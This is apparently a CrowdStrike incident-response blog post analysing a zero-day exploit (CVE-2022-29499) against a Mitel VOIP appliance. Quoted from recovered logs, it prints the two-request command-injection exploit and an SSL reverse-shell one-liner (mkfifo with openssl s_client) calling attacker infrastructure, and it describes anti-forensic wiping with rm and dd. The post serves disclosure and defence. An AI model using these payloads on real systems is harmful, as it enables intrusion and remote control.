# Novel Exploit in Mitel VOIP Appliance

crowdstrike.com/blog/novel-exploit-detected-in-mitel-voip-appliance/

Patrick Bennett June 23, 2022

- CrowdStrike Services recently performed an investigation that identified a compromised Mitel VOIP appliance as the threat actor's entry point.
- The threat actor performed a novel remote code execution exploit on the Mitel appliance to gain initial access to the environment.
- CrowdStrike identified and reported the vulnerability to Mitel, and CVE-2022-29499 was created.
- The threat actor performed anti-forensic techniques on the VOIP appliance in an attempt to hide their activity.

## Background

CrowdStrike Services recently investigated a suspected ransomware intrusion attempt. The intrusion was quickly stopped through the customer's efforts and those of the CrowdStrike Falcon® Complete™ managed detection and response (MDR) team, which was supporting this customer's environment. CrowdStrike determined that all of the identified malicious activity had originated from an internal IP address associated with a device that did not have the CrowdStrike Falcon®® sensor installed on it. Further investigation revealed that this

source device was a Linux-based Mitel VOIP appliance sitting on the network perimeter; the availability of supported security or endpoint detection and response (EDR) software for these devices is highly limited.

The device was taken offline and imaged for further analysis, leading to the discovery of a novel remote code execution exploit used by the threat actor to gain initial access to the environment. Thanks to close and immediate work with the Mitel product security incident response team (PSIRT) team, this was identified as a zero-day exploit and patched. The vulnerability was assigned CVE-2022-29499, and the associated security advisory can be found here.

## Discovery and Anti-Forensic Techniques

After tracing threat actor activity to an IP address assigned to the Mitel MiVoice Connect VOIP appliance, CrowdStrike received a disk image of the Linux system and began analysis. CrowdStrike's analysis identified anti-forensic techniques that were performed by the threat actor on the Mitel appliance in an attempt to hide their activity. Given the close proximity in time between the earliest and most recent dates of activity, it was likely that the threat actor attempted to wipe their activity on the Mitel appliance after Falcon Complete detected their activity and prevented them from moving laterally.

Although the threat actor deleted all files from the VOIP device's filesystem, CrowdStrike was able to recover forensic data from the device. This included the initial undocumented exploit used to compromise the device, the tools subsequently downloaded by the threat actor to the device, and even evidence of specific anti-forensic measures taken by the threat actor.

Beyond removing files, the threat actor attempted to overwrite free space on the device. A recovered `nohup.out` file (generated by running a command via `nohup`) contained the following:

```
rm: cannot remove '/cf/swapfile': Operation not permitted
dd: error writing '/tmp/2': No space left on device
10666+0 records in
10665+0 records out
11183382528 bytes (11 GB) copied, 81.3694 s, 137 MB/s
```

The messages in the recovered file indicated two things. First, the error for the `rm`[1] command failing to delete the swap file demonstrated that `rm` was used as part of the `nohup` command. The original `rm` command run via `nohup` was likely designed to delete all files, but failed on the swapfile due to it being active, resulting in the error message.

Second, the threat actor used the `dd`[2] command to attempt to create a file (`/tmp/2`) that, because of its size, would overwrite all of the free space on the device (and indeed did, based on the `dd` error message "No space left on device"). This anti-forensic measure would have been taken to prevent recovery of data deleted via the initial `rm` command. However, in

this instance, `/tmp` was on a separate partition than that storing HTTP access logs. While the log files were also deleted via the `rm` command, the free space that contained their contents was not overwritten, allowing the file contents to be recovered. These recovered HTTP access logs included evidence of the exploit used to compromise the device.

## Exploit Details

The exploit involved two GET requests. The first request targeted a `get_url` parameter of a php file, populating the parameter with a URL to a local file on the device. This caused the second request to originate from the device itself, which led to exploitation. This first request was necessary because the actual vulnerable URL was restricted from receiving requests from external IP addresses. By first targeting the `get_url` parameter, the actual exploit request to the vulnerable page came from the local system.

Note that the threat actor IP addresses have been replaced with invalid IPs `1.1.256.1` and `2.2.256.2` below. The URL-encoded portion at the end of the request below decodes to `$PWD|sh|?`.

**Request #1:**

```
1.1.256.1 - - [01/Mar/2022:01:25:17 -TZ] "GET /scripts/vtest.php?
get_url=http://127.0.0.1/ucbsync.php%3fcmd=syncfile:db_files/favicon.ico:2.2.256.2/%2
4%50%57%44%7c%73%68%7c%3f HTTP/1.1" 200 40
```

The second request included command injection that would cause the system to perform an HTTP GET request to attacker-controlled infrastructure, and then pipe the results of the request locally to `sh`.[3] This would allow execution of whatever commands were stored on the attacker's server at the requested URL. This vulnerability was caused by the PHP file in question splitting up the parameters for the `syncfile` command, one of which would subsequently be used by the appliance in a `curl` command. Because the request came from localhost — by first sending the request to the file with the `get_url` parameter — it was allowed. The request is shown below.

**Request #2:**

```
127.0.0.1 - - [01/Mar/2022:01:25:17 -TZ]  "GET /ucbsync.php?
cmd=syncfile:db_files/favicon.ico:2.2.256.2/$PWD|sh|? HTTP/1.0" 200 -
```

In addition to recovering the logs, CrowdStrike recovered the contents of two outbound HTTP requests from the appliance to the attacker's infrastructure. These outbound requests were both caused by the second request shown above. The responses to the outbound requests were also recovered, which demonstrated that the attacker used the exploit to create a reverse shell.

The first outbound request returned valid json related to the application to reach the vulnerable section of code.

### Outbound request and response #1:

```
GET /$PWD|sh|?/ucbsync.php?cmd=manifest HTTP/1.1
Host: 2.2.256.2
Accept: */*
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Tue, 01 Mar 2022 01:25:17 GMT
Content-type: text/html

{"db_files":[{"name":"exmaple0.jpg","size":55318,"date":000000000},
{"name":"default_logo.jpg","size":4181,"date":0000000000},
{"name":"favicon.ico","size":4364,"date":0000000000},
{"name":"example1.jpg","size":73553,"date":0000000000},
{"name":"example1.jpg","size":35299,"date":0000000000},
{"name":"example2.jpg","size":58617,"date":0000000000},
{"name":"default_banner.jpg","size":3148,"date":0000000000},
{"name":"example2.jpg","size":63954,"date":0000000000},
{"name":"example2.jpg","size":48666,"date":0000000000},
{"name":"example3.jpg","size":65224,"date":0000000000},
{"name":"example3.jpg","size":39322,"date":0000000000},
{"name":"example4.jpg","size":34328,"date":0000000000},
{"name":"example5.jpg","size":41095,"date":0000000000},
{"name":"example6.jpg","size":43450,"date":0000000000},
{"name":"example5.jpg","size":52095,"date":0000000000},
{"name":"example7.jpg","size":8331,"date":0000000000}]}
```

The second outbound request showed the remote execution in action. The following recovered outbound GET request to `/shoretel/wc2_deploy` (hosted on the threat actor's external infrastructure) included the payload in its response: an SSL-enabled reverse shell created via the `mkfifo` command and `openssl s_client`.

### Outbound request and response #2:

```
GET //shoretel/wc2_deploy HTTP/1.1
User-Agent: curl/7.29.0
Host: 2.2.256.2
Accept: */*
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Tue, 01 Mar 2022 01:25:17 GMT
Content-type: text/html

mkfifo /tmp/.svc_bkp_1; /bin/sh -i < /tmp/.svc_bkp_1 2>&1 | openssl s_client -quiet -
connect 2.2.256.2:443 > /tmp/.svc_bkp_1; rm /tmp/.svc_bkp_1
```

In other words, the threat actor had a webserver (via the Python SimpleHTTP module) running on infrastructure they controlled. On this webserver was a file named `wc2_deploy` that contained the `mkfifo` command shown above. Because the threat actor's exploit request involved reaching out to this URL and piping the response to `sh`, this would cause the reverse shell command to be executed upon exploitation.

Leveraging first in, first out (FIFO) pipes is a common technique to create a reverse shell. Often, shells created in this manner will use `netcat` instead of `openssl s_client`, but the functionality is the same, except that `openssl s_client` will use ssl and `netcat` will typically be plaintext.

## Post-Exploitation Activity

Once the reverse shell was established, the threat actor created what appeared to be a webshell named `pdf_import.php`. The contents of `pdf_import.php` were not recovered; however, it was not a standard file name for the device, and a recovered log file included a POST request to the file that originated from the same IP address that the exploit requests originated from.

```
1.1.256.1 - - [1/Mar/2022:06:36:04 -0500] "POST /vhelp/pdf/pdf_import.php HTTP/1.1"
200 2
```

The threat actor also downloaded the tunneling/proxy tool *Chisel* onto the VOIP appliance, renamed it `memdump` and executed it. This binary acted as a reverse proxy to allow the threat actor to pivot further into the environment via the VOIP device. The execution of *Chisel*, as well as the POST request to `pdf_import.php`, both directly corresponded with malicious activity detected and blocked by Falcon Complete on internal devices, suggesting that the threat actor used both tools to attempt to move laterally into the environment.

## Conclusion

Timely patching is critical to protect perimeter devices. However, when threat actors exploit an undocumented vulnerability, timely patching becomes irrelevant. That's why it's crucial to have multiple layers of defense, such as Falcon Complete MDR, which performs threat monitoring and remediation of malicious activity 24/7. Critical assets should be isolated from perimeter devices to the extent possible. Ideally, if a threat actor compromises a perimeter device, it should not be possible to access critical assets via "one hop" from the compromised device. In particular, it's critical to isolate and limit access to virtualization hosts or management servers such as ESXi and vCenter systems as much as possible. This can involve jump-boxes, network segmentation and/or multifactor authentication (MFA) requirements.

Having an up-to-date and accurate asset inventory is also critically important, as you can't protect something if you don't know it exists. In addition, it's important to ensure all service accounts are managed and accounted for, and that the capability exists to detect abnormal account usage. CrowdStrike Falcon® Identity Protection can provide such insight by alerting on stale account usage as well as when accounts are associated with abnormal source or destination systems — and even forcing MFA challenges for users accessing critical assets.

## Endnotes

1. Linux command to remove files or directories
2. Linux command to convert and copy files
3. Linux command to spawn a shell or terminal prompt

### Additional Resources

- *Learn more by visiting the Falcon Complete product webpage.*
- *Read a white paper: CrowdStrike Falcon® Complete: Instant Cybersecurity Maturity for Organizations of All Sizes.*
- *Read about adversaries tracked by CrowdStrike in 2021 in the 2022 CrowdStrike Global Threat Report.*
- *Test CrowdStrike next-gen AV for yourself: Start your free trial of Falcon Prevent™.*
- *Get up-to-the-minute insights into threat actor activities and new exploits during Fal.Con 2022, the cybersecurity industry's most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21!*